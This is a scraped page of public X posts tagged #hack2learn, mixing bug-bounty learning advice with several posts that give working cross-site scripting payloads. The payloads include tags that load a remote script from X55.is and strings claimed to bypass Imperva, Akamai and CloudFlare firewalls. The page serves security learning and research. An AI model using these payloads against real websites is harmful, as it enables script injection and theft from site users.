Posts with #hack2learn

#hack2learn

Public posts on X that use #hack2learn.

Related hashtags

  1. KNOXSS@KN0X55
    The Best 🏆 Simple #XSS Payload <Img Src=//X55.is OnLoad=import(src)> Why? 🤔 1⃣ It loads a remote script 📜 2⃣ It pops in SOURCE and DOM 🛠️ 3⃣ It allows custom code in URL hash ❤️‍🔥 #hack2learn ✨
    Download
    6191085.4K
  2. Rodolfo Assis@RodoAssis
    Hey bug hunter! Do you have a WAF or any other filter in your way? Let's COLLABORATE! 🤩 Any bug, 50/50 just DM me with details. #hack2learn
    Download
    01121.4K
  3. H4x0r.DZ✓@h4x0r_dz
    If you've completed all labs on PortSwigger (without cheating ), you are probably better than 90% of the current bug bounty hunters
    Gospel @4osp3l
    if you've completed all labs on portswigger, doesn't mean you're good to go on platforms that offers BBAAS; before you take that step, ask yourself "am i ready ?", here's a little piece i can drop that might help as well; completing all labs on portswigger is not a deal, the main deal is applying that in the wild, i say this a lot "how you learn, is what matters", if you don't want to find it difficult when going into bug bounty platforms, you need to learn effectively, also practice hard; there's no point solving all labs on portswigger and still can't pop a valid vuln in the wild... solving all labs on portswigger is never enough ( 100%, don't let anyone lie to you ), i will advice to do more ( study more, practice more before jumping into bug bounty platforms ), portswigger won't teach you everything; lastly, learn from others experiences, i.e by reading writeups/research, all you need is to understand the processes, techniques, strategies and you're good to go.
    11828460.2K
  4. Gospel@4osp3l
    if you've completed all labs on portswigger, doesn't mean you're good to go on platforms that offers BBAAS; before you take that step, ask yourself "am i ready ?", here's a little piece i can drop that might help as well; completing all labs on portswigger is not a deal, the main deal is applying that in the wild, i say this a lot "how you learn, is what matters", if you don't want to find it difficult when going into bug bounty platforms, you need to learn effectively, also practice hard; there's no point solving all labs on portswigger and still can't pop a valid vuln in the wild... solving all labs on portswigger is never enough ( 100%, don't let anyone lie to you ), i will advice to do more ( study more, practice more before jumping into bug bounty platforms ), portswigger won't teach you everything; lastly, learn from others experiences, i.e by reading writeups/research, all you need is to understand the processes, techniques, strategies and you're good to go.
    3710639.4K
  5. A.Mugh33ra🇵🇰❤️🇵🇸@mugh33ra
    @h4x0r_dz
    @h4x0r_dz In labs you know exactly where the vulnerability or the vulnerable parameter is, and also there are no WAFs in place. But in the real world, you first need to analyze the flow 7-8 times, then find an injection point, and then try to exploit it so labs ≠ real targets. #hack2learn
    10101.1K
  6. Brute✓@BRuteLogic
    7 Steps to Become a Hacker (0. Find resources by yourself) 1. Learn 2. Try 3. Learn again 4. Try again 5. Try UNTIL 6. Share 7. Return to 1 Don't learn to hack, #hack2learn.
    096367
  7. Rodolfo Assis@RodoAssis
    To be a real good hacker you must be smart enough to do to a couple of things IMHO: 1. Be able to find the info you need by yourself; 2. Be able to correctly evaluate technical content: 3. Be able to find and fill the gaps in current hacking knowledge. #hack2learn
    324136
  8. Brute✓@BRuteLogic
    Another #XSS Payload to Rule Them All! #Bypass Imperva, Akamai and CloudFlare WAF => Prepend with 50 chars then use 1"><A HRef=%26quot AutoFocus OnFocus%0C={import(/https: PoC: #hack2learn @KN0X55
    Download
    Brute @BRuteLogic
    One #XSS Payload to Rule Them All #Bypass Akamai, Imperva and CloudFlare #WAF <A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)> #hack2learn @KN0X55
    54429254.9K
  9. Brute✓@BRuteLogic
    ⚠️ #XSS payload showing a technique against SYNTAX aware filters (not keyword based) <!--%26gt;<TextArea><!--><Script>/*/</TextArea>/*/alert(1)</Script> ↪️ TextArea elements are safe/trusted but those are tricky due to comments. PoC 💣 #hack2learn 💪
    6251096.2K
  10. zseano@zseano
    @ScriptKKiddie @brutelogic BruteLogic was the only one to reply to me back in the day whenever I had doubts :) I saw he had 10k+ followers and thought he'd never reply but he's the most humble person you'll meet. Friends for life <3
    7020
  11. Brute✓@BRuteLogic
    Practice is imperative to learn. But the best places to practice are those you create yourself because you will learn both sides of the things. That's the true hacking knowledge. #hack2learn
    11271
  12. KNOXSS@KN0X55
    HPP XSS Vector Two params, one payload. Let the backend connect the dots. ?p=1"><Img Src=//X55.is?%20&p= 1%20OnLoad=import(src)> Works for: - ASP .NET (comma concat) - Express (array join) - Flask (getlist) - Django (getlist) #hack2learn
    010683.8K
  13. Brute✓@BRuteLogic
    Develop your true hacking skills with Static Analysis, #XSS and Bash. #hack2learn
    0231027.7K
  14. Brute✓@BRuteLogic
    Brute Staged XSS Payload Stage 1 - No parentheses, high obfuscation: innerHTML=URL,outerHTML=textContent Stage 2 - Never sent to server, customizable: &#60Img/Src/OnError=alert(1)&#62k Example: Reference: #hack2learn
    28463.4K
  15. Show more posts